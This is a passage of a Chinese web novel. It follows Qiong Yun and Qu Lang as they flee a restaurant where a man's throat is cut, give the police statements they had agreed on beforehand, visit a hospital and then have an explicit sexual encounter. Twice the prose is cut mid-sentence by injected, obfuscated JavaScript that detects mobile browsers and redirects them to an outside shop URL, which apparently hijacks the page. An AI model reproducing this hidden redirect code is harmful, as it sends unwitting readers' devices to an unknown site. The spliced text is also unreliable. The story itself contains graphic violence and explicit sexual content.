琼云低下头,一阵巨大而清脆的爆裂声在耳边炸开,紧接着是哗啦啦的水流声,再然后是有人滑倒,肉.体重重摔在地上产生的闷响。 “叮。” 琼云的余光看到了一小束鲜艳的火苗,大厅内响起了此起彼伏的尖叫,而身后紧追不舍的脚步声似乎消失了。 还剩一步就要迈出餐厅大门,琼云突然停了下来,屈朗没刹住,从她背后撞了上来。 两人回头去看,视野瞬间被蒙上了一层血红的滤镜。 琼云闻到了一股浓烈的腥味,感觉有什么液体洒在了身上,类似用水盆接水时把水流开到最大,水柱冲击盆底,将细细密密的水花溅到脸上。 那层红色的滤镜从眼前消失后,琼云发现有人躺在血泊之中,是那个年轻男人,他正捂着自己的脖子,他的手已经被血染得通红,手指缝隙中仍一股一股往外喷涌着血柱,他身下的血泊大得骇人,并且在不断地扩张,持续侵蚀从玻璃鱼缸中破出在地面形成的浅潦,彩色的鱼群四散在血泊中,掀动着的巨大尾鳍好像一朵朵在风中飘曳的罂粟花。 38.第 38 章 琼云没有在餐厅门口滞留很久,意识到刚才喷溅在脸上的液体是那年轻男人的血后,就立即逃了出来,几乎没有给屈朗抽筋的小腿缓解的时间,又飞奔了一段路,拐进另一条街,躲到一家已经关门的咖啡厅门口,靠在黑漆漆的内侧墙角。 确认没有人跟踪后,琼云才掏出手机打车,屏幕光照清她脸上喷射状的血渍。 屈朗面色惨白,直接摔坐到地上,抽筋那条小腿刀割似的疼。 琼云打完车才顾得上他,从包里取出湿巾给他擦脸上的血。她刚才拿“武器”时顺便捎了包,毕竟人的两条腿再快也跑不过四个轮子的车,她需要手机,但屈朗落在那儿的相机和补光灯她就顾不上了,即便顾得上她也不会顾,因为那两样东西太重,会拖累逃命的速度。 “哪条腿?”琼云一边给他擦血一边问。 屈朗痛苦地喘息着,指了指微微屈着膝盖的右小腿。 琼云单膝跪地,抓住他的右脚踝抬高,架在自己跪着的那条腿上检查,小腿的形状没有明显的畸变,“还好,肌肉没断开,但肯定拉伤了,我们马上去医院,等司机过来。” “对不起。”屈朗虚弱地开口,“我明天可能走不了了。” “你歇段时间再走。”琼云又抽出一张湿巾,拿手机摄像头照着,给自己擦脸上的血,一边擦一边说,“给你免房租。”擦完把手机放下来,发现屈朗的眼睛又闪烁起了泪光,在昏暗的光线中悄无声息、亮晶晶地滑落到脸颊上。 琼云以为他是疼哭的:“肌肉拉伤不能按摩,会更严重的,我也没办法,你忍忍吧,司机马上就到了。” 屈朗摇了摇头,用手指揩去脸上的眼泪,抽噎着说:“要不是我当初那么冲动,今天也不会遇到这种事,对不起。” 琼云把眉毛蹙得一高一低:“揍他的人是我吧?你抢什么功劳?” 屈朗又哭又笑:“那个人不会真的死了吧?他颈动脉都割破了,血喷得那么远,有好几米。” “死了最好。”琼云把胳膊上的血也擦掉。 三分钟后,司机把车开到临时停靠点,琼云将屈朗扶进后座,系好安全带,打电话给餐厅前台,把账单结掉,让他们把屈朗的相机和补光灯包括落在桌子上的手机收好,拍张照片发短信给她看。 结果过了段时间后,前台没给琼云发来短信,却是打了通电话过来。 电话那头先是“喂”了一声,音色和之前的很不一样,连性别都不同,这回明显是个男人,但琼云没在意,自顾自地说:“我不是说把照片发给我吗?别告诉我那么大件的东西都丢了。” “我是警察。” 琼云顿时噤声。 “你和你男朋友人在哪?现在立刻回餐厅配合我们调查。” 琼云懒得纠正,只好奇:“那男的死了吗?” “在抢救。” “在哪家医院抢救?” “这不是你需要关心的问题,现在立刻回餐厅配合我们调查。” “不是我不愿意配合,我男朋友腿受伤了我也要送他去医院,万一在医院碰到那人的朋友,报复我们怎么办?那群人看起来像□□,你怎么保证我和我男朋友的安全?告诉我那人在哪家医院抢救,我避开,你有什么想问的,来医院找我,顺便帮我把我男朋友落在餐厅里的东西带过来,谢谢,两个包,还有手机。” 警察终于松口,琼云在网约车平台上更改了目的地。 抵达医院,没工夫等警察把屈朗的手机送过来用电子医保,办了临时就诊卡,告知伤情,在护士的建议下挂了骨科,分别给背部和小腿拍了X光和B超。晚上看病的人少,流程走得还算快。 在等待结果的过程中,警方派来的两名警员才赶到,他们如约把屈朗落在餐厅里的东西带过来了。 屈朗向警察道了谢,拉开两个包的拉链检查了一下,又戳了两下手机,确认都没坏。 考虑到屈朗腿脚不便,警察把两人领到同层的休息室去做笔录,先是让描述了一下大概经过,然后把两人分开纠细节,琼云主动提出让她先来,因为站在门外可以听到室内的说话声,她要给屈朗打个样,尽管他们在此之前已经串通过了口供。 “你跟被害人认识吗?” “他死了吗?” “你这么希望他死,看来你们之间有过节。” “当然有,要不是他耍酒疯,我男朋友也不会受伤,他还差点把我男朋友从二楼推下去。” “你们之前真的不认识?” “不认识。” “你们之间为什么会起冲突?” “我都说了是他耍酒疯。” “他当时看起来像喝多了吗?” “他要是没喝多怎么会突然来打我和我男朋友?他嘴巴里酒气很重,肯定喝了不少。” “他是直接动手的,还是跟你们有什么语言冲突在先?” “他好像说了什么,但我当时吓坏了,忘了,没听清,我什么都没回,他就动手了。” “拿花瓶砸鱼缸那个人你认识吗?寸头的,两条大花臂。” “不认识,但我对他印象很深刻,他从包厢里出来的时候把门摔得很重,还骂脏话,我回头看了他一眼,而且这个人很奇怪,他和被害人是一个包厢的,应该是朋友,但被害人被玻璃划到脖子出血的时候,他不仅一点都不关心,还把嘴巴里的烟点上了,我怀疑他是故意的,那鱼缸上下的设备都是带电的,把鱼缸砸破,水漏了满地,万一电导进水里,人一碰到水就可能被电死,你们应该好好调查一下那个包厢里的其他人,他们两个肯定有仇。” …… 琼云录完笔录,开门出去,屈朗就站在门口,她大声问他:“冰袋敷多久了?等会儿再敷,我给你拿着。”最后无声用唇语问:“听清了吗?”他对她点了点头,她蹲下去把他小腿上用纱布捆着的冰袋解下来,扶他进去。 屈朗在休息室里待的时间比琼云短很多,出来以后,琼云扶他坐到走廊的椅子上。 警察叹了口气,对琼云说:“你挺淡定的,你男朋友倒是被吓得不轻,找个时间带他去看下心理医生吧,一问三不知的,血飙到脸上,都吓忘了。” “他是小腿肌肉拉伤痛的,脸都白了。”琼云边说还边用手背 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17458480|196775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抚了抚屈朗的脸。 屈朗扭头看向琼云,呆滞的眼神恢复了些光亮。 警察笑了笑,插了句闲话:“你女朋友对你真好。” 屈朗捧住琼云摸他脸的那只手捂到心口,把警察的话改了个人称:“我女朋友对我真好。”靠到琼云肩上,琼云不躲,由他靠着。 警察从记笔录的实习生手里拿过笔录本看了看,轻轻往手上一拍,说:“行了,接下去有问题再联系你们,祝你早日康复。” “谢谢,慢走。” 等两名警察走远,琼云低下头小声问屈朗:“你真被吓到了?需不需要看心理医生?” 屈朗蹭着琼云的肩膀和脖子摇了摇脑袋,带动头发,挠得琼云皮肤发痒。 “给你爸妈打个电话。” 屈朗还是摇头。 “我打。”琼云把被他捂在心口的那只手抽出来,却又立即被他抓了回去。 他从她肩头弹起来,惊恐地捧着她的手说:“不要!” 琼云愣了会儿才反应过来:“我又没你爸妈电话号码,我给我爸打。” “哦。”屈朗捧着琼云的手安心地靠回去。 琼云再次把手从他手里抽出来,从包里掏出手机给师庆打电话,把今天在餐厅里发生的一切还有屈朗腿受伤的事情告诉他。 讲完挂断电话,屈朗又捧住了她的手,她的右手,手指在她的右腕上画圈。 “那根五色绳你真的丢掉了吗?” “没有,放在抽屉里。” “你戴回去好不好?” “好。” 报告出来,显示背部无骨折,右小腿腓肠肌二级拉伤,医生给戴了护具,说了一些注意事项。 最后琼云拎着一大袋止痛药、消炎药和冷热敷袋带屈朗回去。 到了家,把屈朗安置妥当后,琼云被师庆一脸严肃地拎去当心间,关了门谈话。 “你没整着?” 琼云摇头:“我没跟哪个干仗。” “他那点是咋个了?可严重?”师庆用下巴指屈朗房间的方向。 “小腿肚有点撕开了,医生说半个月到一个月就会好,平时走路没得哪样问题。” 师庆听了这话,眉头皱得更紧,“他爹妈晓得?” “我叫他跟他爹妈打个电话,他不打。” “我要是他爹,肯定要把他带回去,你看上回他妈来的那个态度,要是晓得了,肯定是要记恨你。” 琼云双目失焦地点了点头。 “你跟他两个好了?” 琼云摇头,眼睛重新聚焦,看向师庆,说:“没得。” “但是你对他有那个意思嘛,你是咋个想的嘛?你不跟他好,就趁早断掉,你想跟他好,爹也不愿意,他妈肯定是不喜欢你。” “本来这顿饭吃完,就打算叫他走了,让他先歇几天嘛,腿不痛了就叫他走。” 话音刚落,不远处不知道谁家大半夜突然点了枚炮仗,“砰”的一声巨响,把琼云吓得手足发软,心脏扑扑直跳,眼前仿佛又蒙上了一层猩红的滤镜,炮仗炸开一团血雾又溅在了她的脸上。 39.第 39 章 琼云一旦闭上眼睛,在餐厅门口转身时所见到的一切就会涌入脑海,所以她今晚洗澡洗得格外迅速,从把头发打湿到擦干身体,全程不超过十分钟。 她把头发吹到半干,穿上睡裙,就开门出去,门敞开那瞬间,映入眼帘的身影吓得她一个激灵。 屈朗站在浴室门口,不声不响地,直勾勾盯着她看,他的瞳仁很黑,占据眼白的比例比常人更大,缺乏光泽时,看起来有些恐怖,尤其他身上仍穿着那套带血的衣服。 “你没洗澡?”琼云问他。 “没有。”他摇头,说话时湿润的嘴唇里冒出牙膏的薄荷味,“你刚才有没有听到爆炸的声音?” “炮仗而已,快去洗澡,把衣服换掉,我陪你过去。”琼云往前走,屈朗一瘸一拐地慢慢挪动脚步,让开道来,漆黑的眼珠始终盯着她的右手腕。 琼云知道他在想什么,回房间从抽屉里取出五色绳戴上,拿了手机,才陪他回房间。 她扶着他重新回到浴室。淋浴器底下放着一张木凳,木凳前垫着一张防滑的旧毛巾,花洒被摘下来搁在旁边放沐浴露和洗发水的置物架上,这些都是琼云刚才就给他准备好的,他原本刷完牙就打算去洗澡,但被炮仗声打断了。 “我不知道你平时洗衣服什么习惯,但这次衣服脱下来别碰热水……算了,你脱下来放洗手台上吧,我帮你洗。”琼云说到这里停顿了一会儿,皱起眉头,对上屈朗的眼睛才继续说下去:“内裤和袜子你自己洗。” 屈朗点了点头,脸有些发烫。 “有问题喊我,我就在房间里。”琼云提醒完最后一句,把卫生间的门关上,坐到床沿。 不久后,浴室里便响起了哗啦啦的水流声…… 屈朗洗澡的速度比平时慢得多,折腾了二十多分钟才从浴室里出来,穿着柔软的睡衣,身上泛有清凉的香气,脱离校规约束,头发长长了很多,洗过以后湿淋淋软趴趴地盖在额头上。 琼云走过去摸了一把他的头发,手指被沾湿,“你吹过了吗?” 屈朗把手放到头顶:“我忘了。” “去吹干。” 屈朗重新回到浴室,琼云跟他进去,两人都站在洗手台的镜子前,一个打开吹风机往头上吹,一个把带血的衣服和着洗衣液放在脸盆里用水浸透。 两人几乎同步完成各自的任务。 从浴室出来以后,琼云扶屈朗躺到床上,用枕头将他右腿抬高,又拿了新的冰袋,垫着毛巾捆在伤处。 “15分钟,你记一下。”琼云拿起手机看时间,“现在是11点47,0点……02,没算错吧?0点02分的时候摘下来。” 屈朗听出她的话外之音:“你要走了吗?” 琼云摇了摇头,坐下来,坐到床沿,膝盖也抵在床沿,不仅是他需要她,她同样也需要他。 琼云觉得自己今晚一定睡不着觉。 她看着他裸露在外的小腿说:“那你腿好之前就不能去给人拍照了。” 屈朗点了点头,仿佛现在才反应过来,摸过床头柜上的手机,给客户发消息,退订金。 他又变成穷光蛋了。 “你要看我拍的照片吗?”片刻后,他放下手机对琼云说。 琼云点了点头。 屈朗朝书桌方向伸手:“帮我把电脑拿过来,谢谢。” 琼云起身去书桌前把电脑捧过来,小心翼翼递给他。 屈朗勾着小腿下的枕头,把上身再撑起来一点让姿势更舒服,然后接过电脑,放到大腿上,掀开屏幕,等开机后,却改变了想法:“要不要看电影?” 琼云还以为自己记忆错乱:“你刚才不是说看照片吗?” “你会吃醋的,不看了。”他说完转头看向屏幕,点进视频播放软件。 车撞树上了知道拐了,琼云“嗤”了一声。 “看什么?”他问。 琼云说:“不知道,喜剧片吧,不用动脑子的。” 屈朗点点头,点进喜剧标签,滑动了一会儿页面,突然发现有一个很重要的问题:“坐床上看还是坐凳子上看?” 笔记本电脑的屏幕就那么点大,琼云坐在床沿很不方便,于是她对他打了个手势:“你挪过去一点。” 屈朗把电脑从腿上拿下来,撑着身体艰难地往另一侧挪动,琼云突然觉得把电脑放在腿上不是个好主意,于是回自己卧室拿了高中时买来在宿舍做题复习用的折叠桌,顺便关了灯过来。 可是折叠桌太小,不够容纳两个人的身体,出于对伤患的照顾,琼云将折叠桌搭在屈朗的双腿上方,而电脑则放在靠近自己的这一边,折叠桌的质量没那么脆弱,让它失去一些平衡不至于倒塌。 两人挑选影片时没有趋向知名度高质量有保证的高分作品,而是挑了一部两个人都没看过甚至连听都没听说过的。 事实证明这不是个正确的决定。 影片讲述一位准新郎与三位亲如兄弟的伴郎在结婚前夕举办单身派对,荒唐一夜醒来后全都失去了记忆,而这个准新郎也失踪了,于是三位伴郎凭借现场稀奇古怪的线索开始寻找准新郎…… 荒诞的角色个性和情节设置能看出编剧和导演在努力展现自己的幽默,可惜他们缺乏幽默的天赋。 这个故事很无聊,看得琼云和屈朗昏昏欲睡,但中途没有人提出要换一部,因为睡不着的情况下,看一部可以催眠的影片也是个不错的选择。 他们一直看到电影落幕,黑屏上弹出白色的英文名。 琼云相对清醒,她早就注意到屈朗的眼神表现出几乎即将昏厥的困倦,于是自作主张关掉电脑,合上屏幕,搁到床头柜上。挪开折叠桌的时候,她才发现到她忘记把屈朗腿上的冰袋摘下来了,于是连忙爬过去解绷带,手指碰到冰袋的瞬间她又发现自己多虑了,医生跟她说过,这冰袋最多只能维持半小时,现在过去快两个小时,早就化成常温,但她还是要把冰袋解下来,免得血液堵塞。 解下冰袋和毛巾,正要下床把这些东西放到桌子上,一只手突然抓住她猛地把她拽了回去。 琼云回头,发现屈朗原本困倦的眼睛又睁得好像刚才在浴室门口直勾勾盯着她的样子。 “看来我应该让电影重放一遍。” “你别走,我一个人不敢睡。” 琼云第一次见识到有人害怕起来还这么理直气壮的,“我不走,很晚了,进进出出会吵到其他客人,我只是去放东西。”她对他挥挥手里的冰袋和毛巾,还有缠成耳机线的纱布。 他总算松手,琼云把手里的东西放到桌子上,回头看了眼,把电脑也捧过来,才重新回到床上。 “睡觉吧,我关灯了。”琼云凑过去,在他嘴唇上轻轻啄了一下,但这同样是个错误的决定,他抱住她,不肯松开,用柔软湿润的嘴唇来啃咬她,他在她刚才背对他跪在那儿给他解冰袋的时候就清醒了。 琼云听到他的呼吸越来越沉,越来越急促。 那部无聊透顶的电影蒙着猩红的滤镜在琼云脑海中逸散,人在踏入深渊前摄入兴奋剂会做出何种疯狂的举动呢? 她勾住他的脖子回应他,虚虚跨坐到他身上,密切感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17464070|196775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 受他身体的变化。 他受宠若惊地松开她,仰望她,沉甸甸的热浪一波波拍打着他的头脸,令他剧烈晕眩。 “你想摸吗?”她擒住他的手腕,将他颤抖的手摁到自己温暖柔软的身体上,热量朝他发麻的掌心传递,令他逐渐恢复知觉,手指学会屈伸。 她低下头去吻他,摩挲他的嘴唇:“要不要我帮你?” 他不说话,她当他默认,褪下柔软的布料,让他在她手中充盈血液,逐渐胀大。 也许是缺乏经验的原因,琼云的手很快被弄脏了,有部分喷到了脸上。 琼云抽纸巾擦掉,屈朗仍仰着头猛烈喘息着,整个房间都弥漫着那种气味,等她准备下床去卫生间洗掉,屈朗又清醒过来,猛地把她拽回去,抱住她,他把脸埋在她胸口,呼吸喷打在她的肌肤上。 琼云的身体突然一颤,情不自禁将臀部抬高,屈朗把她摁下去,让她坐在他的手指上。 琼云感到头皮一阵阵发麻,紧紧抱住屈朗,身体痉挛起来,吮吸着他的手指,在他耳边低低呻吟。 她的大脑一片空白。 直到屈朗试图把除手指外的其它东西塞进来,琼云迅速松开他,扇了他一个耳光,“啪”的一声脆响。 低声斥他:“会怀孕的!” 屈朗眨了眨眼,被打疼了,神志才稍微清醒过来一点:“对不起。” 琼云爱怜地捧住他的脸,拇指轻轻扫摸在他脸上烙下的巴掌印,柔声问他:“痛吗?” 他摇头。 “要不要再来一次?” 他点头。 琼云倾身伸长手臂够了好几张纸巾攥在手里备着,免得第二次又喷到脸上。 结束后,琼云从他身上下来,把纸巾揉成团扔进垃圾桶,去浴室挤了一泵沐浴露洗手洗脸,洗完回来,叫屈朗也去洗。 屈朗看着自己的手说:“不脏啊,干掉了。” “去洗,有味道。” 他把手指放到鼻尖去嗅,“我不洗。” 琼云瞬间恼羞成怒:“你心理变态!” “你先弄我的,你变态。”屈朗拉过被子盖到身上,上半身滑下去,拍拍琼云之前躺的位置说:“我们睡觉吧。” “你不洗我不睡觉。” 屈朗只好掀开被子,趴下床,双脚落地时,朝琼云伸出手:“扶我一下。” 琼云挑担似的背过身扛住他的手臂,吃力将他整个人扛起,他凑在她耳边说:“洗掉再摸你一下就有了。” 琼云被他说得满脸通红,做的时候没什么,结束那种羞耻感才后知后觉地翻涌上来。 “小心我踢断你的腿。”她佯装要踢他的伤腿,身体瞬间失去重心,险些两个人都绊倒,只好踏踏实实扶着他过去。 处理干净,两人回到床上,垫好了伤腿,盖被关灯睡觉,身体紧贴,迅速入梦。 三小时后,被屈朗手机上忘记取消的闹铃吵醒,两个人都皱皱巴巴地醒来,关掉闹铃,又互相搂着继续睡,这一睡就睡到了日上三竿,又被来自琼云手机的电话铃吵醒。 琼云摸过手机,等看清屏幕上的备注,惺忪的睡眼瞬间睁大,急匆匆起身,“嘭!”的一声磕到了脑袋。 “啊。”她捂住被磕疼的地方。 “大早上谁给你打电话?”屈朗迷迷糊糊爬起来,给琼云揉后脑勺。 琼云说:“我爸。” 屈朗的眼睛也瞬间睁大:“几点了!?” 他们想起凌晨那场无聊的电影里就是这样,荒唐一夜过后的烂摊子要怎么收拾呢?